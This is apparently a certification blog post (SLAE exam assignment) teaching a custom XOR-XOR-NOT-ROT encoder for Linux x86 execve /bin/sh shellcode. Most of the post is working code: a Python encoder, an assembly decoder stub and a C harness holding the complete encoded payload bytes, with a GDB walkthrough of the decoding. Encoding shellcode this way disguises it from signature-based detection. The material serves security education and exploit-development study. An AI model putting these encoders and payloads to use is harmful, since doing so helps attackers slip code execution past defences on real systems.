Art of Shellcoding: The MultiEncoder Shellcode
Dear Readers, Hope you all are doing great. In the previous post, we saw how we could create a shellcode for egghunting and ended up creating one of the shortest egghunter shellcode with just under 12 bytes. In this post, we will only work on encoding the shellcode by combining 3 different encoding schemes. The shellcode we will choose to demo our custom encoder will be a simple /bin/sh shell invoking shellcode. You can download a copy of this simple shellcode from here. We will write a simple python script which will encode the bytes of the /bin/sh shellcode with our custom encoding scheme. Here is the source of the python script:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Multi Encoder | |
# Uses : XOR ---> XOR ---> NOT ---> ROT | |
# By: Nipun Jaswal ; SLAE-1080 | |
# EXECVE /bin/sh Shellcode | |
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") | |
# Configure ROT Shifts | |
n = 131 #ROT Shift | |
upper_limit = 256 - n | |
encoded_shellcode = "" | |
encoded_shellcode_bytes = [] | |
for x in bytearray(shellcode): | |
y = x^0xAA #XOR | |
z = y^0xCF # XOR | |
z = ~z #NOT | |
z = (z & 0xFF) #Removing Negatives | |
if z < upper_limit: | |
encoded_shellcode += '\\x%02x' % (z + n) #ROT | |
encoded_shellcode_bytes.append('0x%02x' % (z + n)) | |
else: | |
encoded_shellcode += '\\x%02x' % (n - 256 + z) | |
encoded_shellcode_bytes.append('0x%02x' % (n - 256 + z)) | |
#Joining | |
copy_data = ','.join(encoded_shellcode_bytes) | |
print "\nEncoded Shellcode (DEC SEQ: ROT->NOT->XOR->XOR):\n%s\n" % (encoded_shellcode) | |
print "\nEncoded Shellcode (ASM):\n"+ copy_data |
Running the python program, we can see that we have encoded shellcode which we can use in decoder stub:
As we can see this is a pretty straightforward Encoder which encodes each byte of the /bin/sh shellcode by XORing it with 0xAA, then XORing it again with 0xCF, then performing a NOT operation on the byte and finally doing a ROT shift of 131 on the byte. Therefore, to create a decoder stub for the shellcode, we will write a simple assembly program as follows:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; ROT NOT XOR XOR Decoder | |
; Author: Nipun Jaswal | |
; SLAE-ID: 1080 | |
global _start | |
section .text | |
_start: | |
jmp short call_decoder ; JUMP - CALL - POP Sequence Starts | |
decoder: | |
pop esi ; Address of the Shellcode ---> ESI | |
xor ecx, ecx ; Clearing out ECX | |
mov cl, len ; Length of Shellcode to ECX | |
decode: | |
cmp byte [esi], 0x83 ; Compare the First and Consecutive Bytes with 131(0x83) | |
jl func_adjust ; If Matches go to func | |
sub byte [esi], 0x83 ; Else Subtract 131 from the Byte | |
not byte [esi] ; Not the Byte | |
xor byte [esi], 0xCF ; Xor the Byte | |
xor byte [esi], 0xAA ; Xor the Byte | |
jmp short loop_shellcode ; Jump to func2 | |
func_adjust: | |
xor edx, edx ; Clearing EDX | |
mov dl, 0x83 ; Move 131 to EDX | |
sub dl, byte [esi] ; Subtract the Byte Value from 131 | |
xor ebx,ebx ; Clearing EBX | |
mov bl, 0xff ; Moving 0xff to EBX | |
inc ebx ; Inc EBX | |
sub bx, dx ; Subtract 16-bit DX from BX | |
mov byte [esi], bl ; Moving Final Bl value to Current Byte Location | |
loop_shellcode: | |
inc esi ; Move to Next Byte | |
loop decode ; Repeat the Process for All the Shellcode | |
jmp short shellcode ; Finally Jump to the Shellcode | |
call_decoder: | |
call decoder ; Call to Decoder but pushes address of the Shellcode on the Stack | |
shellcode: | |
db 0x2e,0xdd,0x4d,0x75,0x38,0x38,0x6c,0x75,0x75,0x38,0x7b,0x76,0x77,0x96,0xfc,0x4d,0x96,0xfb,0x4c,0x96,0xfe,0xad,0x14,0xda,0x9d | |
len: equ $-shellcode |
We can see that it's a pretty straightforward decoder stub. The first operation it performs is to simply remove the ROT shift of 131 by subtracting the byte with 131. Next, it performs a NOT operation and then finally do a double XOR operation with 0xCF and 0xAA one after the other. After completing these four activities for all the bytes, it directly jumps to the Shellcode. Extracting the bytes of Shellcode from this program, we can just create a C program and test its functionality as follows:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include<stdio.h> | |
#include<string.h> | |
unsigned char shellcode[] = \ | |
"\xeb\x2c\x5e\x31\xc9\xb1\x19\x80\x3e\x83" | |
"\x7c\x0d\x80\x2e\x83\xf6\x16\x80\x36\xcf" | |
"\x80\x36\xaa\xeb\x10\x31\xd2\xb2\x83\x2a" | |
"\x16\x31\xdb\xb3\xff\x43\x66\x29\xd3\x88" | |
"\x1e\x46\xe2\xdb\xeb\x05\xe8\xcf\xff\xff" | |
"\xff\x2e\xdd\x4d\x75\x38\x38\x6c\x75\x75" | |
"\x38\x7b\x76\x77\x96\xfc\x4d\x96\xfb\x4c" | |
"\x96\xfe\xad\x14\xda\x9d"; | |
int main(int argc, char* argv[]) | |
{ | |
printf("\nShellcode 1 Length: %d\n", strlen(shellcode)); | |
int (*ret)() = (int(*)())shellcode; | |
ret(); | |
} |
Compiling the C code, we can execute the program and see if works or not:
Works!! Great. We can see that the length of the shellcode is 76 bytes. Let's run this program in GDB and analyze the step by step decoding process as follows:
We can see that our original /bin/sh encoded shellcode of 25 bytes is visible in the above screenshot. We are currently doing a ROT shift of 131 by subtracting it from the first byte of our encoded shellcode which is 0x2e. This will change the byte 0x2e to 0xab:
Similarly, the next operation is to perform a NOT of the byte which will transform the byte 0xab to 0x54:
Next are two XOR operations, the first with 0xCF which will change the byte to 0x9b and the one with 0xaa will convert the byte to 0x31 which is the original byte of our /bin/sh execve shellcode:
Similarly, all the above operations will happen for rest of the 24 bytes of the shellcode, and before jumping to the decoded shellcode, we will have the following shell code:
This is nothing but the original shellcode of /bin/sh program as we can see in the python encoder Yeepee! We have successfully decoded the entire shellcode with ease. We can name this encoder as RNX2 encoder as XOR-XOR-NOT-ROT operations are followed for encoding and ROT-NOT-XOR-XOR for decoding.
All the files for this tutorial/ exercise are availiable at: https://github.com/nipunjaswal/slae-exam/tree/master/ASSGN-4
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student-ID: SLAE-1080
No comments: